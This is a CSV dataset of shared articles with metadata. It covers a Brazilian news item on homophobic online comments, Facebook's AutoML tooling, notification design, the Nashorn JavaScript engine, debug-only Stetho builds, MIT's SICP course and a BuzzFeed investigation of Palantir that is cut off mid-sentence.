1462573389,CONTENT SHARED,321193326651975856,-9016528795238256703,1352599197672231975,,,,HTML,http://extra.globo.com/noticias/rio/quando-ignorancia-vence-solidariedade-19250735.html,Quando a ignorância vence a solidariedade,"O discurso de ódio fez uma mãe desistir do caminho mais eficiente para reencontrar a filha: a divulgação da informação e pedido de ajuda através dos meios de comunicação. A menor de 15 anos desapareceu de casa no último dia 4. Desesperada, a família entrou em contato com o jornal e pediu ajuda. Imediatamente, o Extra publicou a notícia e os telefones para quem tivesse informações. A reação de parte dos internautas foi chocante: muitos leitores atacaram a menina pelo fato de ela ter uma namorada. A mãe da garota fez um apelo: ""Boa tarde gente aqui é a mãe da adolescente,acho desnecessário os comentários de ofensa ela é uma menina de família criada na igreja,ela esta desorientada,ninguém sabe o que esta acontecendo sou uma mãe desesperada"". Uma das leitoras do Extra sugeriu que o jornal suprimisse a informação de que a menina poderia estar com a namorada. "" Ana Clara Jabur Legal, Jornal Extra , expondo uma pessoa com menos de 18 anos pro Brasil inteiro com essa manchete em troca de um par de comentários criminosos que só disseminam ódio."" É importante ressaltar: a leitora sustentou sua posição com argumentos e não com ofensas ou preconceito. Apenas discordou da linha editorial. O jornal, por sua vez, discordou da leitora. Entendeu que omitir a informação seria adotar o mesmo procedimento que está na raiz dos comentários que ofenderam a família, o preconceito. E mais: como a família sabe onde a suposta namorada mora, a informação poderia ser importante na localização. O jornal respondeu: "" Jornal Extra Oi, Ana Clara Jabur . Tudo bem? Estamos expondo a foto e a história a pedido da família, para facilitar a busca. Nós noticiaríamos exatamente do mesmo jeito caso ela tivesse fugido com um namorado, ou com um amigo, ou com uma amiga, ou.... Enfim. Mas, infelizmente, não podemos conter o olhar homofóbico das pessoas."" Muitos leitores apoiaram a postura da família em não ter vergonha ou preconceito em divulgar a informação. Mas no final da tarde, a mãe recuou. Assustada com os comentários agressivos a família pediu para tirar a reportagem que noticiava o desaparecimento do ar. - Lamentamos ter que tirar a matéria do ar por causa de ataques de homofobia, por causa das agressões que estamos sofrendo - disse o padrasto. O Extra, mais uma vez, atendeu ao pedido da família e retirou a matéria do ar.",pt
1462585223,CONTENT SHARED,-229081393244987789,-1032019229384696495,7068961486013681428,,,,HTML,http://www.wired.com/2016/05/facebook-trying-create-ai-can-create-ai/,Building AI Is Hard-So Facebook Is Building AI That Builds AI,"Deep neural networks are remaking the Internet. Able to learn very human tasks by analyzing vast amounts of digital data , these artificially intelligent systems are injecting online services with a power that just wasn't viable in years past. They're identifying faces in photos and recognizing commands spoken into smartphones and translating conversations from one language to another. They're even helping Google choose its search results . All this we know. But what's less discussed is how the giants of the Internet go about building these rather remarkable engines of AI. Part of it is that companies like Google and Facebook pay top dollar for some really smart people. Only a few hundred souls on Earth have the talent and the training needed to really push the state-of-the-art forward, and paying for these top minds is a lot like paying for an NFL quarterback . That's a bottleneck in the continued progress of artificial intelligence. And it's not the only one. Even the top researchers can't build these services without trial and error on an enormous scale. To build a deep neural network that cracks the next big AI problem, researchers must first try countless options that don't work , running each one across dozens and potentially hundreds of machines. ""It's almost like being the coach rather than the player,"" says Demis Hassabis, co-founder of DeepMind, the Google outfit behind the history-making AI that beat the world's best Go player. ""You're coaxing these things, rather than directly telling them what to do."" That's why many of these companies are now trying to automate this trial and error-or at least part of it. If you automate some of the heavily lifting, the thinking goes, you can more rapidly push the latest machine learning into the hands of rank-and-file engineers-and you can give the top minds more time to focus on bigger ideas and tougher problems. This, in turn, will accelerate the progress of AI inside the Internet apps and services that you and I use every day. In other words, for computers to get smarter faster, computers themselves must handle even more of the grunt work. The giants of the Internet are building computing systems that can test countless machine learning algorithms on behalf of their engineers , that can cycle through so many possibilities on their own. Better yet, these companies are building AI algorithms that can help build AI algorithms . No joke. Inside Facebook, engineers have designed what they like to call an ""automated machine learning engineer,"" an artificially intelligent system that helps create artificially intelligent systems. It's a long way from perfection. But the goal is to create new AI models using as little human grunt work as possible. Feeling the Flow After Facebook's $104 billion IPO in 2012, Hussein Mehanna and other engineers on the Facebook ads team felt an added pressure to improve the company's ad targeting, to more precisely match ads to the hundreds of millions of people using its social network. This meant building deep neural networks and other machine learning algorithms that could make better use of the vast amounts of data Facebook collects on the characteristics and behavior of those hundreds of millions of people. 'The more ideas you try, the better. The more data you try, the better.' According to Mehanna, Facebook engineers had no problem generating ideas for new AI, but testing these ideas was another matter. So he and his team built a tool called Flow. ""We wanted to build a machine-learning assembly line that all engineers at Facebook could use,"" Mehanna says. Flow is designed to help engineers build, test, and execute machine learning algorithms on a massive scale, and this includes practically any form of machine learning-a broad technology that covers all services capable of learning tasks largely on their own. Basically, engineers could readily test an endless stream of ideas across the company's sprawling network of computer data centers . They could run all sorts of algorithmic possibilities-involving not just deep learning but other forms of AI, including logistic regression to boosted decision trees -and the results could feed still more ideas. ""The more ideas you try, the better,"" Mehanna says. ""The more data you try, the better."" It also meant that engineers could readily reuse algorithms that others had built, tweaking these algorithms and applying them to other tasks. Soon, Mehanna and his team expanded Flow for use across the entire company. Inside other teams, it could help generate algorithms that could choose the links for your Faceboook News Feed, recognize faces in photos posted to the social network, or generate audio captions for photos so that the blind can understand what's in them . It could even help the company determine what parts of the world still need access to the Internet . With Flow, Mehanna says, Facebook trains and tests about 300,000 machine learning models each month. Whereas it once rolled a new AI model onto its social network every 60 days or so, it can now release several new models each week . The Next Frontier The idea is far bigger than Facebook. It's common practice across the world of deep learning. Last year, Twitter acquired a startup, WhetLab, that specializes in this kind of thing, and recently, Microsoft described how its researchers use a system to test a sea of possible AI models. Microsoft researcher Jian Sun calls it ""human-assisted search."" Engineers even built their own 'automated machine learning engineer.' Mehanna and Facebook want to accelerate this. The company plans to eventually open source Flow, sharing it with the world at large, and according to Mehanna, outfits like LinkedIn, Uber, and Twitter are already interested in using it. Mehanna and team have also built a tool called AutoML that can remove even more of the burden from human engineers. Running atop Flow, AutoML can automatically ""clean"" the data needed to train neural networks and other machine learning algorithms-prepare it for testing without any human intervention-and Mehanna envisions a version that could even gather the data on its own. But more intriguingly, AutoML uses artificial intelligence to help build artificial intelligence. As Mehana says, Facebook trains and tests about 300,000 machine learning models each month. AutoML can then use the results of these tests to train another machine learning model that can optimize the training of machine learning models. Yes, that can be a hard thing to wrap your head around. Mehanna compares it to . But it works. The system can automatically chooses algorithms and parameters that are likely to work. ""It can almost predict the result of before the training,"" Mehanna says. Inside the Facebook ads team , engineers even built that automated machine learning engineer, and this too has spread to the rest of the company. It's called Asimo, and according to Facebook, there are cases where it can automatically generate enhanced and improved incarnations of existing models-models that human engineers can then instantly deploy to the net. ""It cannot yet invent a new AI algorithm,"" Mehanna says. ""But who knows, down the road..."" It's an intriguing idea-indeed, one that has captivated science fiction writers for decades: an intelligent machine that builds itself. No, Asimo isn't quite as advanced-or as frightening-as Skynet. But it's a step toward a world where so many others, not just the field's sharpest minds, will build new AI. Some of those others won't even be human.",en
1462588394,CONTENT SHARED,-1901742495252324928,3375381077362025672,-1271644409296578508,,,,HTML,https://medium.com/@intercom/designing-smart-notifications-36336b9c58fb,Designing smart notifications,"Designing smart notifications My phone buzzed. I was somewhere in Iceland. More than ten miles from my car and any other human being. Holding a phone with a dying battery. I turned it on to check Google Maps. ""Spotify added 2 tracks to the playlist Afternoon Acoustic"". Perfect timing. A ping from Periscope: [email protected] wants you to watch ..."", two new emails in Mailbox, a new Twitter follower, an @channel ping on Slack. Nine notifications in total. None vaguely important when I was stuck in the wilderness with 2% battery, a volatile internet connection and a real need to load that freaking map. Despite all of the advances of the past 20 years, notifications are still stuck in 1999. Countless articles, companies, products and conferences have recently been dedicated solely to the topic. There's plenty of evidence to suggest notifications are broken, but they won't stay that way for long. How can they be fixed? What does the future of notifications look like? An age of data From Google search to Facebook's newsfeed, algorithms analyzing massive amounts of data make decisions about what we see online. Self-learning algorithms are driving other products like Google Now and Facebook's recently updated notifications tab. It's still early days for smart algorithms in notifications but luckily the data needed for intelligent, predictive notifications is already available. The spread of social networking made the concept of sharing our personal data frictionless; why fill out boring sign up forms when you can instantly log in with Twitter or Facebook? Behavioral data Even if by its nature a product is not inclined to data collection (think iA Writer vs Facebook), a lot of data can be extrapolated from the way people use it e.g. At what time of day someone usually logs in? How much time do they spend there? Is there a correlation between those timeframes and high engagement? Ecosystem data What are the other interests of this user? What other products do they use? How do they use them? Are there any common patterns in that usage? We may already have a solution to privacy concerns. In Google's recently announced smart autoreply feature, humans are not allowed to read all the private correspondence of users. Machine learning algorithms, on the other hand, are. Truly smart notifications If we can gather and analyze all that data what would truly smart notifications look like? At a minimum they would be helpful, personal, time-sensitive and relevant. Smart timing Instantaneous is not always best. One of the most interesting features of the recently launched Basecamp 3 is Work Can Wait, which gives users the ability to choose the hours during which they want to receive notifications. Date night with your partner is probably not when you want to be pinged by a colleague in a different timezone starting their workday. Notifications at the wrong time are worse than useless. Irrelevant pings not only get ignored, but the noise they create dilutes focus, causes frustration and a false sense of urgency. Future notifications will do this automatically. A predictive engine will extrapolate from the contextual data what is the best timing for a ping, and so let you enjoy that date night. Smart location Geodata is important for understanding the context of what a person does. If someone is on a boat twenty miles offshore in Montenegro, it's not the best place to be notified about a one day sale at IKEA in Dublin. Lots of applications are already using geodata in smart ways. For example when Foursquare notices you are in a new place, it sends useful tips about it. And many to-do apps notify you about tasks when you are at the location best suited to getting it done. Smart grouping Like every push-based system, notifications as a medium are extremely fragile. If a service is overusing them, users get overwhelmed and shut them down. Even if the pings are good and useful, too much is too much. That's why grouping will become more important. Think of the way Facebook bundles similar notifications, e.g. how many people liked your photo. A couple of names and a number is shown, and if the user wants, it's possible to dive into the details. In contrast, Quora not only dumps all notifications on you, but requires you to actually look through each one, even if they are exactly the same. Taking this concept to the next level, smarter notifications could have a gradual grouping. If you usually get less than ten likes per photo, you would probably want unique notifications for each of them. If the average is thousands, pinging you when a hundred likes are accumulated would be better. You could also be specifically notified about actions from close friends and family or really influential people. Hey, if Mark Zuckerberg commented on your post, you'd probably want to know right away? Smart reactions Although every user is unique, you can't build everything for everyone, so compromises have to be made. Notifications that react intelligently rather than having dumb defaults can help provide a layer of product personalisation. Based on the way you usually interact with content, better wording and structure choices could be offered. How do you normally react to notifications of new photo likes? Do you just glance at them? Or do you actually go deep into each and every notification. Depending on the default behavior you may see notifications structured differently. Smart targeting At Intercom we are constantly communicating with our customers. When we do product research, we never ask all of our users the same question. We send targeted messages to people who are best positioned to answer. For example, if we plan to improve the exporting functionality, we choose people who exported data in the last two days to ask if there were any blockers in doing that (while their memories are still fresh). A message sent to the right user gets a higher response rate, provides really useful feedback and prevents other users from feeling overwhelmed. With all the combined data, smart notifications would be able to focus on the right user and turn down the noise for everyone else. Smart notifications vs system notifications Smart notifications will feel more like a note from your assistant or another human being. Contrast that with a system notification which appears as a little bell icon on the top of your screen. Should they merge? Should they have the same packaging? Should products have a personality? Humans have a psychological phenomenon called pareidolia, where we see human-shaped objects in everyday things. We see human faces in the pattern of clouds, animals in our cartoons act like people and robots in our sci-fi are human-shaped. We tend to relate to bots, whether it be Siri, Cortana or M (it was a huge miss by Google to deprive Google Now of personality). A notification from a bot actually feels much more personal when it's written in human language by someone with a personality of their own. In fact, notifications are already becoming more conversational. This is how you received them a year ago vs how you are probably notified now: Messaging is just getting started , but it will become so impactful, it will eventually consume notifications as we know them. Feedback loops No matter how smart the predictive intelligence is, no matter how good the gathered data is, feedback loops will always be needed. , a beautiful short story by British sci-fi writer Alastair Reynolds, includes a discussion on the nature of predictive intelligence. Imagine you choose white wine rather than red for a sunny afternoon drink with friends, and enjoy it far more than you would have your usual choice. The algorithm would not attach any significance to that one happy combination of circumstances. A single deviation wouldn't affect its predictive model to any significant degree. It would still recommend red wine the next time. But your memory would latch on that exception and amplify the attractive parts of it, so the next time you might choose the white, and the time after. An entire pattern of behavior would be altered by one instance of deviation. The algorithm would never tolerate that. The path to smart notifications It's obvious, notifications can't stay the way they are for much longer. They are disengaging. They are intrusive. Nobody loves them. At the same time, all the data required for the creation of smarter notifications already exists. There are products trying to use that data properly and which suggest a path for how notifications can start to provide value and be truly helpful. I only hope that the next time I pull out my dying phone while lost in the wilderness, it's because my little robotic sidekick is rushing to provide me with directions. Written by Alex Potrivaev , Product Designer at Intercom . This post first appeared on the Inside Intercom blog. Intercom is a platform that makes it easy for web and mobile businesses to communicate with their customers, personally, and at scale. Want to read more articles like this?",en
1462624860,CONTENT SHARED,2457939609972623332,2062670502532932588,-7345529140946324331,,,,HTML,http://www.infoworld.com/article/2607426/application-development/nashorn--javascript-made-great-in-java-8.html,Nashorn: JavaScript made great in Java 8,"Nashorn, pronounced ""nass-horn,"" is German for ""rhinoceros,"" and it's one of the animal names for a German tank destroyer used in World War II. It's also the name of the replacement -- introduced with Java 8 -- for the old, slow Rhino JavaScript engine. Both Rhino and Nashorn are implementations of the JavaScript language written to run on the Java Virtual Machine. Obligatory rant: JavaScript may have Java as part of its name, but the two languages are very different in spirit and design, as well as in their implementations. Nevertheless, one way of implementing a JavaScript interpreter is to compile JavaScript into Java byte codes, which is what Rhino and Nashorn were designed to do. [ Also on InfoWorld: 15 things we hate about Java | Show off your coder cunning in InfoWorld's JavaScript IQ test . | Keep up with the latest developer news with InfoWorld's Developer World newsletter . ] You probably think of JavaScript in terms of scripting Web browsers, and you'd be right for the most part. It's also used for servers. For example, Node.js is used to build fast, lightweight servers based on the V8 JavaScript engine from Google Chrome. JavaScript engines in Web browsers have access to the HTML document object model (DOM) and can manipulate HTML elements through the DOM. Given that different Web browsers have different DOMs and JavaScript engines, frameworks such as jQuery try to hide the implementation details from the programmer. Nashorn, and Rhino before it, explicitly do not support the browser DOM. Implemented on the JVM, they are typically called in for end-user scripting in Java applications. Nashorn and Rhino can be embedded in Java programs and used as command-line shells. Of course, the additional magic needed when you are scripting Java from JavaScript is bridging the data and type mismatches between the two languages. Problems with Rhino Rhino development started at Netscape in 1997 for an ill-fated ""Javagator"" project and was released to Mozilla.org in 1998. It was then licensed to Sun and others. Honestly, 1998 might as well be the Jurassic Period, as Internet development goes -- 16 years later, Rhino has clearly shown its age. According to Jim Laskey of Oracle , the principal developer of Nashorn: The performance of Rhino has fallen far behind that of other JavaScript engines. In order to improve performance, at this point Rhino would have to be rewritten to replace its interpreter with a code generator designed to fully utilize the JVM. Rather than undertake a major rewrite of the very old Rhino code, we have chosen instead to start from scratch. I'm sure this is all true, but as a jaded developer and development manager I find the last sentence highly amusing. After all, major rewrites are never fun. Starting from scratch is always fun.",en
1462637954,CONTENT SHARED,-2247142819145310881,3302556033962996625,1628779068488069945,,,,HTML,http://littlerobots.nl/blog/stetho-for-android-debug-builds-only/,Stetho for Android debug builds only,"Recently, Facebook released a tool called Stetho , which let's you inspect your Android app from the Chrome Developer tools. I find that particularly nifty because it also provides access to any SQLite databases used in the app. Obviously, this type of tools should only be included in debug builds of your app. Here's a nice way to accomplish that. Add the dependency To make sure Stetho is only used for debug builds, add a debugCompile dependency, in stead of the usual compile type you'd normally use: depencencies { // your other dependencies here... debugCompile 'com.facebook.stetho:stetho:1.0.0' } Initialize Stetho in your debug build Now we actually need to use Stetho in our debug build. How do you do that? By using the awesome powers of the Android Gradle build system! To add some source that will be only compiled for debug builds, create a new source folder named src/debug/java . This is just like src/main/java but, for the debug variant of your app. In contrast the main folder holds all the source common to all variants. Then add an Application class as described on the Stetho homepage: Notice how this class is extended from the main application class already present, MyApplication . This is really convenient because chances are that you are already using an application class in your app for other kinds of initialisation. If you don't have an application, just extend from android.app.Application . Activate MyDebugApplication The last step is to make sure the debug version of our app actually uses the MyDebugApplication class. Again, we use the Gradle build to make that happen. Add an AndroidManifest.xml to the src/debug folder: <manifest package= ""com.mycompany"" xmlns:android= "" "" xmlns:tools= "" "" > <application tools:replace= ""android:name"" android:name= "".MyDebugApplication"" /> </manifest> This AndroidManifest.xml will be merged into the main AndroidManifest.xml file in src/main and will replace the android:name attribute in the <application> tag. It will replace the attribute, because we specified that using the tools:replace attribute. Pretty neat! Now when you run the debug build variant of the app, Stetho will be activated. When you switch to the release variant, there will be no trace of it and it won't be activated. No accidental shipping in release builds, no developer embarrassment. Conclusion Using the Android Gradle build system, it's easy to add some extra debug capabilities to your app. This technique doesn't just work for Stetho , but for any library or tool that you'd like to add for debug only.",en
1462647856,CONTENT SHARED,-1492574794514500033,-1443636648652872475,-5937465818071606757,,,,HTML,http://www.posteriorscience.net/?p=206,Programming by poking: why MIT stopped teaching SICP,"In this talk at the NYC Lisp meetup, Gerry Sussman was asked why MIT stopped teaching the legendary 6.001 course, which was based on Sussman and Abelson's classic text The Structure and Interpretation of Computer Programs (SICP). Sussman's answer was that: (1) he and Hal Abelson got tired of teaching it (having done it since the 1980s). So in 1997, they walked into the department head's office and said: ""We quit. Figure out what to do."" And more importantly, (2) that they felt that the SICP curriculum no longer prepared engineers for what engineering is like today. Sussman said that in the 80s and 90s, engineers built complex systems by combining simple and well-understood parts. The goal of SICP was to provide the abstraction language for reasoning about such systems. Today, this is no longer the case. Sussman pointed out that engineers now routinely write code for complicated hardware that they don't fully understand (and often can't understand because of trade secrecy.) The same is true at the software level, since programming environments consist of gigantic libraries with enormous functionality. According to Sussman, his students spend most of their time reading manuals for these libraries to figure out how to stitch them together to get a job done. He said that programming today is ""More like science. You grab this piece of library and you poke at it. You write programs that poke it and see what it does. And you say, 'Can I tweak it to do the thing I want?'"" . The ""analysis-by-synthesis"" view of SICP - where you build a larger system out of smaller, simple parts - became irrelevant. Nowadays, we do programming by poking. As to why they chose Python as an alternative, Sussman joked that it was ""late binding"" decision. Python has a ton of libraries that make it applicable to many types of projects that instructors might want to assign (like writing software to control a robot.) Sussman admitted that the SICP curriculum was ""more coherent"" than what they have now and that they still don't know what the right curriculum should be. The full text of SICP is available online. The SICP video lectures by Sussman and Abelson from 1986 (given to HP) are also available. - Yarden Katz is a fellow in the Dept. of Systems Biology at Harvard Medical School.",en
1462652177,CONTENT SHARED,8316918063034631031,-2626634673110551643,2069397505101328966,,,,HTML,https://www.buzzfeed.com/williamalden/inside-palantir-silicon-valleys-most-secretive-company,"Inside Palantir, Silicon Valley's Most Secretive Company","A trove of internal documents and insider interviews has pulled back the curtain on one of Silicon Valley's most secretive and highly-valued companies, Palantir Technologies. Started in part with CIA money, the data-analysis company promised that its software would revolutionize everything from espionage to consumer businesses, and it has grown in both revenue and employees. But the documents and interviews show that Palantir has also lost blue-chip clients, is struggling to stem staff departures, and has recorded revenue that is just a fraction of its customer bookings. Over the last 13 months, at least three top-tier corporate clients have walked away, including Coca-Cola, American Express, and Nasdaq, according to internal documents. Palantir mines data to help companies make more money, but clients have balked at its high prices that can exceed $1 million per month, doubts that its software can produce valuable insights over time, and even difficult working relationships with Palantir's young engineers. Palantir insiders have bemoaned the ""low-vision"" clients who decide to take their business elsewhere. If you have information or tips, you can contact this reporter over an encrypted chat service such as Telegram, Signal, or WhatsApp, at 310-617-1302 . You can also send an encrypted email to will.alden@buzzfeed.com , using the PGP key found here . More than 100 Palantir employees, including several prominent managers, have left the company this year through April 15, a confidential log shows. At that rate, the company is on track to turn over about 20% of its staff in 2016, almost double the average rate of the three previous years, according to internal figures. On April 22, in an extraordinary move for a company that had prided itself on paying salaries below market rate, Palantir CEO Alex Karp announced a 20% pay raise for all employees who had worked there for at least 18 months. Karp also canceled annual performance reviews, saying the current system wasn't working. Palantir has previously made public the value of what it calls its ""bookings"" for 2015: $1.7 billion. But actual cash collections have been a closely held company secret. They amounted to less than a quarter of bookings last year - $420 million, according to slides and an audio recording from a February presentation. That was up 50% from the prior year. Still, the gulf between cash received and bookings - contracts that often include lower-paying trial periods or complex performance bonuses - raises questions about Palantir's ability to convert those deals into revenue. Palantir was not profitable in 2015, spending more than $500 million, according to the presentation. Palantir says that its business is strong and expanding, and that despite the staff departures, it has doubled its ranks over the last three years. The company didn't dispute that it had lost some clients, but a spokesperson, Lisa Gordon, said that ""the majority of the company's customer relationships are multiple years in length, and many are as long as 10 years."" ""We're looking to do transformational work with our customers,"" Gavin Hood, Palantir's chief of staff, said in an interview with BuzzFeed News. ""Finding the right partner to do that transformational work takes a lot of care and a lot of attention."" He added, ""There's a lot of reasons why that doesn't always work out."" Asked about the gap between Palantir's bookings and its cash collections, Hood declined to comment. But at a 2014 conference in New York, Karp said, according to CNBC , ""Some of our biggest appointments are with people who barely can pay us."" He added, ""We have lots of clients where we get zero money."" Hood said that employee turnover was ""a very natural part of the company's evolution and growth."" He added that Palantir ""has a really strong culture"" and that people ""don't always fit"" there. The blanket 20% pay raise is ""an example of what we need to do as leadership of this company to keep up with the changing nature of our people,"" Hood said. ""When our company does well, our people should do well."" Investors have high hopes for Palantir, which has raised more than $2.5 billion in capital, according to data provider PitchBook, and was valued at $20 billion in a 2015 funding round. But amid expectations of surging revenue and, eventually, profit, internal communications show that the company has struggled to create products and services that some clients are willing to pay for. A two-year effort to create a data-sharing consortium of consumer packaged goods companies - including Coca-Cola and Kimberly-Clark - has stumbled, the documents show. Candy maker Hershey was the original member of the would-be consortium and is still a Palantir client, but one executive there recently said for that project she ""did not see value from Palantir in 2015,"" according to notes from a private meeting. Palantir also recently reversed course on an effort to create an elite cybersecurity squad responding to emergencies such as massive data hacks. The company had staffed up specifically for that purpose, according to three confidential sources familiar with the matter. As of April, one member of that elite team who remained was doing work for Palantir itself, two of the sources said. Gordon, Palantir's spokesperson, declined to comment on the team. These revelations are reported here for the first time. BuzzFeed News interviewed six current and former employees who insisted they not be identified, spoke with Palantir's Hood and Gordon, and obtained more than 1,000 internal emails and other documents. The result is an unprecedented look at Palantir's inner workings. Founded in 2004 by former PayPal CEO Peter Thiel and several others, Palantir uses proprietary software to crunch vast amounts of data for the likes of JPMorgan Chase and the United States military's Special Operations Command, with the goal of producing useful and even predictive insights. Its earliest backers included In-Q-Tel, the venture capital arm of the CIA. The company, based in Palo Alto, California, is essentially a hybrid software and consulting firm, placing what it calls ""forward deployed engineers"" on-site at client offices. Among American tech startups, only Uber and Airbnb have been valued more highly than Palantir. Owing in part to the sensitive nature of its work, Palantir - which derives its name, the names of its offices (the Shire, Grey Havens, Rivendell, Gondor), and the name of its annual gathering (HobbitCon) from J.R.R. Tolkien's Lord of the Rings books - forbids employees to speak with the press and uses quirky codenames to refer to its customers. Although the company is not profitable, Palantir financial analyst Milo Krastev told employees at the February presentation, where Manhattans were served, that it could ""be profitable right now and turn off the growth engine,"" if it so chose. A recent reorganization in the New York office cut costs and created 25% more desk capacity, according to Brian Campbell, a financial operations analyst who co-led the presentation. Palantir also scrapped its companywide HobbitCon bash in Palo Alto this year, contemplating holding smaller gatherings instead, two people familiar with the matter said. Prior to the sweeping pay raise, Palantir had capped salaries at levels ranging from $125,000 to $135,000, sometimes making exceptions but generally not going above $150,000, according to two people familiar with the matter - far below what top engineers can command at other Silicon Valley companies. To help make up for this, Palantir doles out large amounts of stock options, making employees particularly sensitive to the perception that the company might not meet its ambitious targets. Palantir, like other highly-valued tech ""unicorns,"" has long avoided the public markets and the scrutiny of Wall Street, and some employees have recently grown anxious about how they will convert their stock into hard cash, despite periodic ""liquidity events"" where they can sell a portion of their shares. This clash made front-page news in The Wall Street Journal in December. In his April 22 email, Karp said, ""We understand the need for liquidity,"" adding that he would try to hold a liquidity event in the next four weeks. Those anxieties come amid a wave of staff departures. A chart from Palantir's internal wiki said the departures through mid-April amounted to 5.8% of all staff, or an annualized rate of 20%. That compares to a departure rate of 13.6% in 2015, 12.2% in 2014, and 9.2% in 2013. These figures cover only people who have left, excluding new hires. Palantir paid annual bonuses in March, two sources said, but departures were spread across the whole period. People leave Palantir for numerous reasons, including a simple desire to try something new. Many continue to feel loyalty to the company even after departing (a feeling enhanced by considerable ownership of stock). Among the 102 employees who left this year through mid-April were Geoff Belknap, the chief information security officer, who is now chief security officer at the business collaboration startup Slack; Art Clarke, a leader in product management, who went to a data analysis startup; Ari Gesher, a senior engineer who gave public speeches as Palantir's ""engineering ambassador""; and Philip Martin, a manager in information security, who now works at the Bitcoin startup Coinbase ""I loved my time at Palantir, but I'm happiest when I'm building things from the ground up,"" Gesher, now the head of software engineering at an aerospace data startup, told BuzzFeed News in an email. Clarke said in an email that he had ""a blast"" at Palantir and added, ""My role at Palantir was always about training the next set of leaders in product management, and then moving on."" But executives are aware of unease in the ranks. ""One of the things we did well early on was to recognize and invest in the unique talents of each Palantirian,"" Karp said in the April 22 memo. ""Based on conversations with our people around the world, I do not believe that our current annual ratings and reviews, in combination with our compensation system, is achieving this goal."" A string of business disappointments has not helped morale. The company's efforts to build a data-sharing consortium made up of some of America's largest consumer goods companies suffered a serious blow this January, when an executive from Coca-Cola (company codename: Luda) delivered the news that the iconic firm had chosen not to sign a five-year contract. Coke had agreed to a pilot project in July 2014, internal documents show, and had hoped Palantir would, among other things, be able to help revive sales of Diet Coke in North America through analysis of customer data. But Coca-Cola balked at Palantir's price tag, which would climb to $18 million for the fifth year of the contract, according to emailed notes on the January meeting. The beverage giant also had other concerns. Coke ""wanted deeper industry expertise in a partner,"" Jonty Kelt, a Palantir executive, told colleagues in the email. He added that Coca-Cola's ""working relationship"" with the youthful Palantir employees was ""difficult."" The Coke executive acknowledged that the beverage giant ""needs to get better at working with millennials,"" according to Kelt. Coke spokesperson Scott Williamson declined to comment. Palantir, according to emails and a slide deck, had envisioned Coca-Cola as an anchor member of the consortium - a unified data project that would help companies analyze their supply chains and other aspects of their operations. Kimberly-Clark (codename: Kimye) had kicked off a 12-week pilot with Palantir in early 2015. At one point, Palantir considered trying to get another of its clients, the retail giant Walmart (codename: Oceans), to agree to share data with the consortium, an email shows. But Kimberly-Clark was getting cold feet by early 2016. In January, a year after the initial pilot, Kimberly-Clark executive Anthony J. Palmer said he still wasn't ready to sign a binding contract, meeting notes show. Palmer also ""confirmed our suspicion"" that a primary reason Kimberly-Clark had not moved forward was that ""they wanted to see if they could do it cheaper themselves,"" Kelt told colleagues in January. Seeming to echo Coca-Cola's concerns about price, Palmer said that $18 million in a single year would be Kimberly-Clark's third-highest expense, behind commodities and marketing, according to Kelt. Kimberly-Clark continues to work with Palantir, said Bob Brand, a spokesperson for the consumer products company, declining to elaborate on the nature of the work. ""We do consider them a supplier and enjoy a good working relationship,"" Brand said in an email. By February, with the consortium failing to come together as hoped, Palantir said it would ""forgo our consortium payments for the next 6 months"" while focusing on building its relationship with Hershey (codename: Iceberg), a customer whose work with Palantir has been highlighted in three Fortune articles . But Hershey had its own doubts about Palantir. One important executive there, Michele Buck, the North American president, had initially seen Palantir as ""Siri for business,"" answering thorny questions as they arose, according to meeting notes. But as the project progressed, Kelt told colleagues in February, Buck said she ""did not see value from Palantir in 2015."" Other Hershey executives, including the CEO, were more upbeat, emails show, and the company remains a Palantir client. Calling 2015 ""a learning journey,"" Hershey spokesperson Leigh Horner said in a statement that the candy company had worked with Palantir ""to better understand consumer and shopping insights as well as enhance internal data mining and analysis."" She added, ""We have now identified areas for commercial and operational value and are targeting our efforts there. She called Palantir ""a valued partner."" Palantir's Hood said the consortium remains a live project, and in consumer packaged goods ""there are new customers that we're working with this year."" Unlike in government work, Palantir's corporate deals are often complex, involving low-paying trial programs or performance-based bonuses that can be subject to the client's discretion. These types of agreements - which Krastev, in the financial presentation, called ""variable or exotic"" - can create opportunities for clients to back out, or to lobby for lower pay, people familiar with the matter said. But they can also produce lucrative results, Krastev noted. Palantir's biggest client by bookings is the oil company BP (codename: Stones), which in November 2014 signed a memorandum of understanding with Palantir worth $1.2 billion over 10 years, plus bonus payments to be determined by BP's executives along with Karp, according to a triumphant memo about the deal. ""Yes, the Billion, with a B,"" Shyam Sankar, Palantir's president, told employees in the memo. (While the memo did not use BP's real name, it included a photograph of Karp shaking hands with Bob Dudley, BP's CEO.) It could not be determined how much cash the BP work generated for Palantir last year, but one person with knowledge of the business said it was performing well. Among the projects Palantir runs at BP is an oil well management system that creates data-rich views of wells being drilled, to help prevent a catastrophic collapse, and a system that generates insights for energy futures trading, according to emails and a person familiar with the deal. Other important corporate clients include Credit Suisse (codename: Drizzy), which created a joint venture with Palantir to fight rogue trading; the giant hedge fund Bridgewater Associates (Tugs); the credit card processor First Data (Fletcher); and the French insurer Axa (Asterix). But some major firms have not found Palantir's products and services that useful. In April 2015, employees were informed that American Express (codename: Charlie's Angels) had dumped Palantir after 18 months of cyber security work, including a 6-month pilot, an email shows. ""We struggled from day 1 to make Palantir a sticky product for users and generate wins,"" Sid Rajgarhia, a Palantir business development employee, said in the email. Rajgarhia laid out ""five whys"" about American Express, a Palantir tradition borrowed from Toyota of asking five ""why"" questions to get to a problem's root cause. He concluded that the failure could be blamed on American Express's own hardware, in addition to a lack of support from the credit card company's executives. Rajgarhia described the Amex managers who worked with Palantir as ""low-vision."" An American Express spokesperson declined to comment. A few months later, in July, Palantir's relationship with the Nasdaq stock exchange company (codename: Nancy Drew) was in tatters. A meeting between Karp and the Nasdaq CEO in late 2014 had led to a security-related pilot in early 2015, emails show. In April, with the pilot done, Palantir engaged in a ""somewhat wacky brainstorm"" with Nasdaq about potential projects beyond security, according to an email from Melody Hildebrandt, a top executive in Palantir's commercial division. On July 24, Hildebrandt told colleagues about an ""emotionally loaded call"" with Nasdaq's chief information officer, Brad Peterson. She complained on the call of a ""constant lack of engagement"" from Peterson's team, for which he apologized, Hildebrandt said in the email. Ultimately, it came down to price. ""It's clear they don't have a ton of money, and he does not believe our $1 million/month price is achievable,"" Hildebrandt said. A Nasdaq spokesperson declined to comment. Palantir, an internal document shows, also completed an engagement that summer with News Corp (codename: Gouda), the owner of publications including The Wall Street Journal . Rupert Murdoch, News Corp's executive chairman, had visited the Palantir office, as had Gerard Baker, the Journal's editor in chief, and William Lewis, the paper's publisher, according to emails. Palantir's work for News Corp included efforts to reduce customer churn across three publications, the document and emails show. News Corp was ""pleased"" with Palantir's work, though it ""evolved to an internal team, as 